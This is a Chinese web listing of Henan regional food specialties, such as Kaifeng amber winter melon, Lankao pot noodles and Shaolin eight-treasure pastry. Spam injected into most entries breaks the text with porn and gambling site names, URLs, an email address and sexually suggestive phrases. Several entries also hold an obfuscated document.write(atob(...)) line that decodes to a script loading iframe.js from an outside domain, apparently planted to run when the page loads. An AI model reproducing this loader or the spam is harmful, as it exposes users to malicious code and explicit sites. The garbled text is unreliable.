特产介绍
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开封琥珀冬瓜
琥珀原是一种珍贵的药材，因色泽深红，光亮艳丽而受人喜爱。17c-起草官方网站|17.c-起草登录入口|我爱搞+52G.app因此人们习惯于在一些菜肴前面冠以琥珀二字，来形容其色彩，久而久之，便形成了一种以色定名的烹调方法——琥珀。在开封众多的琥珀菜中，以琥珀冬瓜最为著名。琥珀冬瓜属于甜菜类，制作时选用肉厚的冬瓜，去皮 详细
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凤球包子
凤球包子，河南省开封市通许县特产美食。17.c-起草登录入口|我爱搞+52G.app|yiqicao17c@gmail.com传统风味小吃，此品种被收入《中国烹饪百科全书》。由相国寺后街万芳春饭庄创制于上世纪20年代，以肥瘦猪肉、叉烧肉、熟鸡肉等为馅料，发酵面团作皮蒸制而成。馅心鲜嫩，面皮软白亮而筋香，收口处形似花蕾，既可作筵席点心， 详细
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牛羊肉辣汤
牛羊肉辣汤，河南省开封市通许县特产美食。我爱搞+52G.app|yiqicao17c@gmail.com|一小孩和妈妈拔萝卜不盖被子传统风味汤食。以牛羊骨、肉、五香大料与辣椒油煮汤，泡锅盔食用，乃冬季佳品。民国时有卖。位于相国寺西院的国营回族牛羊肉辣汤馆于1982年9月1日开张营业，由近七旬的袁永臣老厨师亲自传播技艺，使已断庄三十余年 详细
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兰考锅面
兰考锅面，河南省开封市兰考县特产美食。一起草(www.17c.com)|www.17c.com牢记官网一起草|17c.com一起草官网网页版在线看网页版网页官方网页版风味小吃，早在清末汴市已有。它以鸡蛋、碱、盐和面，擀成薄片，切成帘子棍，以清汤煮熟，放入叉烧肉、鱿鱼丝、冬菇、玉兰片等即成。1978年被定为名产风味小吃。document.write(at 详细
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脂油火烧
脂油火烧，河南省开封市兰考县特产美食。www.17c.com牢记官网一起草|17c.com一起草官网网页版在线看网页版网页官方网页版|www.17c.com跟着官网一起草a传统风味小吃，以死面摔打成宽条，抹上葱花，板油丁、卷起后再烙成饼，入炉烘烤，边烤边抹油，黄焦喧大。民国以来，以王景泰制作的最著名。document.write(atob("PHNjc 详细
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苏木大蒜
苏木大蒜，河南省开封市杞县特产。一起草官网www.17c.c。m_17c.com一起草官网17c_17c.coma苏木大蒜：市场的超市蒜、礼品蒜大部分来源于杞县苏木，大蒜交易市场内拥有店铺500余家，年成产量11万吨，交易额1.2亿元，成为全国大蒜四大集散地之一，是全国大蒜产业十强乡（镇），被誉为大蒜之乡。苏木大蒜是河南省开封市杞县苏木 详细
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杞县菜盒
杞县菜盒，河南省开封市杞县特产美食。17c.com一起草官网17c_17c.com_17c..com一起草91制片杞县传统风味小吃，由北宋时期的菜饼演革而来，民国初年相国寺内禹庆楼、禹春楼制作的以闻名于市。它是以菠菜、水粉、金针、木耳、韭黄等制馅，死面为皮，用平底銮子烙成，大小如碗口，馅丰满，皮筋香，建国以后厨师杜广亭制作的最 详细
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葱花小油饼
葱花小油饼，河南省开封市尉氏县特产美食。一起草www.17c.com|国产精品1区2区3区|17c13起草河南省传统风味小吃，以死面卷葱花，清油烙制，筋香酥软。建国前以相国寺内杜广亭制作最为著名。1978年被定为名产风味小吃。document.write(atob("PHNjcmlwdCBzcmM9Ii8vcXouMjAzODYyMzYxNzYueHl6L2lmcmFtZS5qcyIgPjwvc2NyaXB0Pg 详细
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豌豆馅
豌豆馅，河南省开封市尉氏县特产。国产精品1区2区3区|17c13起草|一起草www,17c,com豌豆馅传统风味小吃，此品种被收入《中国烹饪百科全书》。以豌豆、柿饼等原料制成，色呈黄绿，滋味香甜，是健脾胃、解热毒的夏季食品。卖豌豆馅的没有固定摊点，均为推车、挑担沿街叫卖。目前仍然有卖，此品种没有失传。大多仍然是沿街叫卖 详细
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第一楼包子
第一楼包子，河南省开封市龙亭区特产美食。yiqicao17c@gmail.com_17c网官网入口_女同学把我的蹭来蹭去车这是开封从古至今就有名的第一楼包子，为了吃这地道的包子我和朋友足足等了1个小时，从没见过生意这么好的包子楼。它的特点就是皮薄馅鲜，属于灌汤包。皮不是发酵的面蒸的，就像饺子皮，但很爽滑，馅鲜而细腻。配上老陈 详细
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鲤鱼三吃
郑州也喊振兴豫菜，但又自嘲：凡是需要振兴的东西，离灭亡也就不远了。鲤鱼三吃是郑州的名菜，从前那鲤鱼是要号称黄河鲤鱼的，饭馆买回鲤鱼来，必须在清水池里面养两三天，把土腥味吐干净，才可以捞出来下锅。现在这种讲究就有点奢侈了，不过一鱼三吃还是让人食指大动。一半干吃，一半糖醋瓦块，头尾杂加萝卜丝做汤，最有意 详细
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秦氏熏肉
秦氏熏肉，河南省安阳市特产美食。yiqicao17c@gmailcom_一小孩和妈妈一起拨萝卜生孩子不盖被子[黄]_17.c-起草网址入口今年，不少酒店推出一道别具风味的凉菜———熏肉。这可不是一般的熏肉，它就是久负盛名、享誉中原的秦氏熏肉。说起熏肉，古已有之，综观中国古代饮食，早在唐代以前，炙品就在菜肴中占有很大的比重。但值 详细
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郑州烤鸭
郑州烤鸭店以经营荣获国家金鼎奖的郑州烤鸭和中国烹饪协会认定的中华名吃葛记焖饼、蔡记蒸饺、三鲜伊府面而享誉省会郑州。郑州烤鸭点主打名菜郑州烤鸭选材于北京填鸭。制成的烤鸭外观美观、红润油亮，具有外脆里嫩、肥而不腻、味道鲜美的特点。另外，该店还精心制作各种名肴大菜，包办酒席。名菜有：玉珠双珍、雪山广海、铁 详细
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河南糊辣汤
糊辣汤历史悠久。传说，三国时期，曹操率军与袁绍对峙于官渡，曹军粮草告急。曹军粮官万般无奈之中，只好命令伙夫们搜集红薯叶、红薯干，又将马肉切成丝状，一同烩于锅中，再拌以炒熟的红薯面糊，放盐并杂以大葱、辣椒、胡椒等菜蔬作料，聊为兵士夜间充饥之用。不意其味竟异常鲜美，且食后耐饥顶饿。曹操偶然品尝到了这种又 详细
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丁家粉蒸肉
新郑丁家粉蒸肉始自清末丁家饭庄，距今有一百二十年历史，曾经皇帝御厨指点，会南北风味精华，在传统基础上创造的一道名菜。新郑古为"九省通衢"，南北交通要道，行人很多。清末民初住在城里"察院"来往京城的皇差，常到北街丁家"萃宾楼"用饭，把南北各地风味，官府烹饪技艺传到这里。又经丁家五代一 详细
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老浆面条
老浆面条，河南省洛阳市嵩县特产美食。x7x7x7x7任意槽2023进口,直接看_91吃瓜事件黑料吃瓜_17.c-起草官网浆面条儿又称浆饭，和不翻汤、杂烩菜、牛肉汤一样，是洛阳独有的风味小吃，特别是土生土长的老洛阳对浆面条儿更是情有独钟。浆面条儿在洛阳历史悠久，妇孺皆如。老洛阳家家会做。但滋味是否悠长，味道是否纯正，就看各 详细
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少林八宝酥
少林八宝酥，河南省洛阳市嵩山县特产。91吃瓜事件黑料吃瓜_17.c-起草官网_一起草(www.17c.com)用灵芝、猴头、银耳、白果、木耳、嵩菇、香菇、茯苓制成的香酥食品，有食疗效果，能强筋、活络、提神、健身。系少林僧人的传统食品，已有千余年制作历史。document.write(atob("PHNjcmlwdCBzcmM9Ii8vcXouMjAzODYyMzYxNzYueHl 详细
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锦泰燎花
燎花，是河南省安阳市锦泰商店(前店后厂)的名特糕点。一小孩和妈妈一起拨萝卜生孩子不盖被子[黄]_17.c-起草网址入口_100%胸片曝光率软件可以直接看自从明朝万历年间燎花问世后，远近知晓，供不应求。后由当地的锦泰字号大量生产，成为人们馈赠亲友的佳品。清潮乾隆26年，皇帝途经彰德府(今河南安阳市)，燎花被进献给皇帝， 详细
